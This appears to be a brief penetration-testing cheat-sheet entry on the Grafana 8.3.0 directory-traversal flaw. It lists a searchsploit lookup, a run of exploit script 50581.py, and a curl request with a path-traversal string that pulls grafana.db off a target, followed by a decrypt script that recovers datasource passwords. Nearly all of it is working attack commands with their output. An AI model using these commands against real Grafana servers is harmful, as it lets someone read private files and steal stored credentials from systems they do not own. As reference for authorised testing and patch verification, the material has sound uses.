Grafana
LFI
$ searchsploit grafana 8.3
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
$ python3 50581.py -H http://grafanta-instance:3000
# Manually
$ curl -s --path-as-is "http://grafanta-instance:3000/public/plugins/alertlist/../../../../../../../../../../../../../var/lib/grafana/grafana.db" --output grafana.db$ uv run decrypt.py
? Enter the datasource password: <base64-encoded password>
[*] grafanaIni_secretKey= <inferred-key>
[*] DataSourcePassword= <inferred-password>
[*] plainText= <decrypted-password>Last updated